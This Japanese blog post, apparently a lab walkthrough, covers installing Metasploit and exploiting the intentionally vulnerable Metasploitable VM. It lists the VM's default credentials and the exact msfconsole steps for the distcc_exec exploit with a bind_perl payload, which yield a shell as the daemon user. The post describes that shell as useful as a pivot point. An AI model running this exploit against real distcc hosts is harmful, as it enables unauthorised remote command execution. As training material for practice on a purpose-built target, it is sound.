Metasploitableは、MetasploitFrameworkによるペネトレーションテストのトレーニングやテストを実施するために、わざと脆弱性を持たせたやられサーバです。
雑誌の記事で紹介されていた方法を使い、metasploitでこのサーバにアクセスしてみました。
前提として、以前紹介したwifiアクセス等により、アタッカのマシンと同一セグメント上に「Metasploitable」が動作しているものとします。
毎度のことですが、本記事はセキュリティ意識の向上を目的としています。悪用しないでください。
実践
http://sourceforge.jp/projects/sfnet_metasploitableから、Metasploitableをダウンロードし起動します。
ユーザmsfadmin、パスワードmsfadminでログインし、「ifconfig」でIPアドレスを確認しておきます。
(ちなみに、sudoのパスワードもmsfadminです。)
上の例では、IPアドレスは「192.168.43.6」であることがわかります。
MetasploitのオフィシャルサイトからMetasploit Framework最新版をダウンロードします。
「metasploit-latest-linux-installer.run」が落ちてくるので、これを実行すると、
インストールが始まります。
インストール場所やDB接続ポートを聞かれます。通常はデフォルト値でいいと思いますが、
私の環境(BackTrack5)には古いMetasploit Frameworkが入っていたので、
競合しないよう場所やポートをずらしました。
以降の例では、/opt/metasploit4 配下にインストールしました。
インストール先の配下の「app」ディレクトリの中に「msfconsole」があるので、これを実行。
(上の例では、「 /opt/metasploit4/app/msfconsole 」と実行)
しかし、「scripts/setenv.sh」が無い! と怒られました。
試しに「 mkdir scripts 」 「 touch scripts/setenv.sh 」で無理やりsetenv.shを作成したら、
msfconsoleの実行に成功しました。
(中身は何でもいいのね...)
上図は、msfconsoleに入ったところ。
「search distcc」で、distccに関するexploit機能を探す。
今回は、「use exploit/unix/misc/distcc_exec」とし、distcc_execのexploitを使用。
「show payloads」で、使用できるペイロードを表示。
今回は、「set PAYLOAD cmd/unix/bind_perl」とし、bind_perlを使用。
「show options」でオプションを表示。 RHOSTを設定する必要があることがわかる。
「 set RHOST (metasploitableサーバのIPアドレス) 」でターゲットのIPアドレスを設定。
「exploit」 でエクスプロイトを実行。
プロンプトが無いのでわかりにくいですが、「id」コマンド、「ls」コマンド、「uname」コマンドを実行したら上のように実行できていることがわかります。
ただし、/tmp以外のディレクトリに移動したり、haltしたりはできませんでした。
daemonユーザの権限の範囲内の操作のみが可能です。
とはいえ、踏み台としては有効なので。
参考文献
http://www.byakuya-shobo.co.jp/hj/moh2/pdf/moh2_p142_p145.pdf